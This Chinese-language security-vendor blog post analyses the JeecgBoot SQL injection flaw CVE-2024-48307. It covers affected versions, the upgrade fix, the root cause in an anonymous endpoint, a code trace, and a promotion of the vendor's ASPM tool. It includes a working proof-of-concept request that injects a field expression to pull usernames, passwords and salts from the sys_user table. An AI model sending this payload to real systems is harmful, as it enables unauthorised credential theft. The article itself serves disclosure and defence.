在數字化浪潮中,Web 應用已成為企業運營的核心。然而,隨之而來的安全挑戰也日益嚴峻,其中 SQL 注入漏洞作為一種經典的攻擊手段,至今仍是威脅數據安全的重要因素。近期,JeecgBoot 低代碼平臺被曝出 SQL 注入漏洞(CVE-2024-48307),再次提醒我們對數據庫安全的重視。本文將圍繞這一漏洞,從其概覽、風險自查、修復建議,到漏洞原理、復現與追蹤,再到如何通過專業工具和策略進行有效防護,為您提供一份全面的技術解讀,旨在幫助企業構建更堅固的安全防線。

01

漏洞概覽

/ TINGYUN

JeecgBoot是一個由Java開發的一款的集成AI應用的,基于BPM流程的低代碼平臺。JeecgBoot v3.7.1版本存在安全漏洞,該漏洞源于通過組件/onlDragDatasetHead/getTotalData 發現包含 SQL 注入漏洞。該漏洞允許攻擊者通過構造惡意請求,在未授權的情況下直接對數據庫進行操作,從而可能導致數據泄露、數據篡改,甚至獲取數據庫控制權。這無疑對依賴 JeecgBoot 平臺的用戶構成了巨大的潛在威脅。

02

風險自查

/ TINGYUN

為了及時發現并規避潛在風險,企業應當對使用的 JeecgBoot 版本進行自查。您可以通過檢查 org.jeecgframework.boot:jeecg-boot-parent 的版本,核查您的 JeecgBoot 是否處于以下受影響的范圍內:org.jeecgframework.boot:jeecg-boot-parent

03

如何修復受影響的程序

/ TINGYUN

針對JeecgBoot SQL 注入漏洞,最直接有效的修復方式是升級您的 JeecgBoot 版本。請注意以下升級建議:

  • 升級到 org.jeecgframework.boot:jeecg-boot-parent 3.7.1 以上版本。

04

漏洞原理

/ TINGYUN

CVE-2024-48307 JeecgBoot 在線報表 SQL 注入漏洞的根本原因在于以下方面:

  • 未授權訪問:接口 /drag/onlDragDatasetHead/getTotalData 被配置為未授權訪問(anon),任何用戶都能直接調用。

  • 參數未嚴格校驗:接口接收的 tableName 和 condition 參數在拼接 SQL 時未經過嚴格校驗。

  • 未使用預編譯:未使用 MyBatis 的預編譯(參數綁定)方式,而是直接拼接到 SQL 語句中。

攻擊者可以構造惡意請求,在 tableName 或查詢條件中注入 SQL 語句,從而導致數據泄露、數據篡改,甚至獲取數據庫控制權限。 ?

03

如何修復受影響的程序

/ TINGYUN

為了更直觀地理解 SQL 注入漏洞的利用過程,我們將通過 JeecgBoot v3.7.1版本進行漏洞復現。以下是詳細的復現步驟:

1.搭建環境

根據官方文檔進行環境搭建,只進行漏洞復現可不搭建前端環境:
源代碼:https://github.com/jeecgboot/JeecgBoot/tree/v3.7.1

官方搭建文檔:https://help.jeecg.com/java/setup/idea/startup.html

啟動環境

2.構造 POC 并請求接口

構造 poc,請求接口 POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData

3.POC

PlainText

POST/jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: {host}:8080
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Referer: http://{host}/jeecg-boot/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Request-Origion: Knife4j
knife4j-gateway-code: ROOT
Origin: http://{host}:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Content-Length: 357

{
“tableName”: “sys_user”,
“compName”: “test”,
“condition”: { “filter”: {} },
“config”: {
“assistValue”: [],
“assistType”: [],
“name”: [
{ “fieldName”: “concat(username,0x3a,password,0x3a,salt)”, “fieldType”: “string” },
{ “fieldName”: “id”, “fieldType”: “string” }
],
“value”: [{ “fieldName”: “id”, “fieldType”: “string” }],
“type”: [] }
}

04

漏洞追蹤

/ TINGYUN

為了更深入地理解漏洞的成因,我們對JeecgBoot的相關代碼進行了追蹤分析:

//1.權限控制分析

jeecg 通過 shiro 控制權限,先找到 ShiroConfig.java,JeecgBoot-3.7.1jeecg-bootjeecg-boot-base-coresrcmainjavaorgjeecgconfigshiroShiroConfig.java,可以看到 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 配置了不需要 anon,即匿名訪問,不需要登錄就能訪問。

//2.定位漏洞路由

存在漏洞的路由為:/jeecg-boot/drag/onlDragDatasetHead/getTotalData,找到對應的文件,找到對應路由。

//3.參數獲取與傳遞

通過調試模式,可以發現可以讓 compName 不等于”JPivotTable”,進入 this.onlDragDatasetHeadService.getTotalData(var3, var4, var5, var6, var9),var3,var4,var5,var6 均從請求中獲取,var9 為身份校驗后的結果,此漏洞無需驗證身份。

//4.進一步跟進

跟進后進入 org.jeecg.modules.drag.service.a.d#getTotalData,讓請求頭中的 config.formtype 不等于 design。

//5.關鍵變量分析

進入 org.jeecg.modules.drag.service.a.i,在 handleOnlineForm 中,var7 為關鍵,其中包含需要查詢的字段。

//6.SOL拼接問題

進一步跟進 this.onlDragDatasourceDao.selectListBySql 方法,發現這里沒有對用戶輸入的參數進行過濾,而是直接拼接 SQL 語句進行查詢,并將查詢結果返回給 var8。此時,系統已經根據用戶輸入的惡意參數進行了查詢,從而導致 SQL 注入。

05

聽云 ASPM 如何提供幫助

/ TINGYUN

面對日益復雜的網絡安全威脅,專業的應用安全性能管理(ASPM)工具顯得尤為重要。聽云 ASPM 用戶可以通過威脅感知,組件風險,來實時觀察自己的系統是否存在依賴 0day 安全風險以及 1day 或 nday 的組件風險。針對上述 jeecgBoot SQL 注入漏洞,聽云 ASPM 能夠發揮以下關鍵作用:

SQL 注入漏洞發現?

當 JeecgBoot 通過聽云探針插樁后,惡意攻擊者嘗試有效 SQL 攻擊,在聽云 ASPM 的深度威脅中能夠立即發現 SQL 漏洞。

威脅感知詳情

通過 ASPM,用戶可以看到 SQL 攻擊的請求信息和漏洞信息,幫助企業快速定位觸發漏洞的位置。

威脅感知詳情-修復方案

ASPM 還提供 SQL 注入漏洞的原理解析和修復示例,幫助開發人員理解和修復漏洞。

06

企業如何應對SQL注入漏洞

/ TINGYUN

在企業 Web 應用開發過程中,隨著系統功能的不斷擴展,接口數量往往成百上千。開發者在趕工期或維護過程中,常常會忽視對某些接口參數的嚴格過濾,從而埋下安全隱患,SQL 注入漏洞就是其中的高發問題。例如,《CVE-2024-48307 JeecgBoot SQL 注入漏洞》就是典型案例。攻擊者僅需通過構造惡意請求參數,即可將惡意 SQL 拼接到查詢語句中,進而實現數據庫數據泄露甚至系統控制。

應對這類問題的核心在于確保數據庫查詢的安全性,并構建多層次的防護體系:

· 嚴格的輸入校驗:所有與數據庫交互的參數都必須經過合法性校驗,避免直接拼接 SQL。建議采用參數化查詢(PreparedStatement)或 MyBatis 占位符綁定的方式,而不是字符串拼接。
· 最小化數據庫權限:限制數據庫賬戶權限,例如只授予查詢權限,避免開發庫賬號擁有 DROP、UPDATE、DELETE 等危險操作權限,降低注入被利用后的危害面。
· 數據庫層防護:在數據庫層開啟 SQL 防火墻(如 MySQL 的 SQL_SAFE_UPDATES 或 WAF 規則),過濾掉明顯的注入語句,阻斷異常查詢。

· 統一安全框架:企業應建立統一的數據訪問安全框架,屏蔽底層 SQL 拼接邏輯,開發人員只能通過安全封裝后的接口進行數據庫訪問。

然而,在實際的企業應用中,接口數量龐大、業務迭代頻繁,即使有規范和框架,也難以保證所有接口 100% 安全無誤。這時,借助專業工具的價值就尤為突出。通過聽云應用安全性能管理(ASPM)、SAST/IAST 等專業工具,企業能夠自動化發現 SQL 注入風險,持續追蹤接口中的安全缺陷,快速定位問題接口與觸發條件,從而有效筑牢整體安全防線。

通過以上措施,企業才能在高頻迭代 + 海量接口的環境下,從源頭上減少類似 JeecgBoot SQL 注入漏洞的發生,并在開發、測試、上線全鏈路中形成可持續、可量化的安全保障機制。

?

面對日益嚴峻的網絡安全形勢,企業必須從開發、部署到運維的各個環節,全面加強安全防護。通過嚴格的輸入校驗、合理的權限管理、數據庫層防護、統一安全框架以及引入專業的 ASPM 工具,企業能夠有效抵御 SQL 注入等各類安全威脅,確保業務的持續穩定運行。

參考:

https://github.com/jeecgboot/JeecgBoot/issues/7237

聲明:

本文的所有漏洞環境均為本地測試環境,且本文僅供學習、安全研究參考使用,請勿用作違法用途,否則后果自負。

推薦閱讀

  • 隨著網絡和應用程序在生活和工作中變得越來越重要,很多人企事業單位對網絡和應用程序的依賴性越來越高。只有確保網絡運行良好、應用程序性能優越,才能提供更好的使用體驗。在這種情況下,網絡與應用性能監控?成為了不可或缺的工具。那么,該平臺有什么功能?

    2023-11-15

  • 隨著AI智能技術的不斷成熟,它的應用領域變得越來越廣泛,借助這種技術手段就可以實現高效的告警監控系統。它采用了大數據人工智能技術,可以進行實時的數據采集分析,并且具有自我學習的能力,可以對系統產生的各種告警信息進行智能化處理,及時識別除異常行為,有著非常明顯的優勢。

    2023-04-26

  • 物聯網運維監控平臺?是一種集成化的軟件系統,用于監控和管理物聯網設備和系統的運行狀態。它可以實時收集和分析設備數據、網絡狀況和系統指標,并提供警報和異常報告。該平臺具有遠程監控、故障診斷、資源管理、日志記錄等豐富功能,為物聯網系統的運維人員提供全面的控制和管理。

    2024-01-09

  • apm應用性能管理軟件?,是一種專門設計用于監測、管理和優化各種軟件應用性能的工具。無論是企業內部使用的關鍵業務應用,還是向用戶提供的在線服務,apm軟件都能提供深入的性能分析,從而幫助用戶快速識別問題、解決瓶頸并提升系統效率。

    2023-08-30

  • it系統性能監控是保證應用程序始終運行良好的關鍵流程,也是確保業務順暢的重要環節。因為it系統一旦出現問題,將會直接影響用戶體驗和業務運行。本文將從定義、重要性以及實現方法三個方面來詳細介紹。

    2023-07-03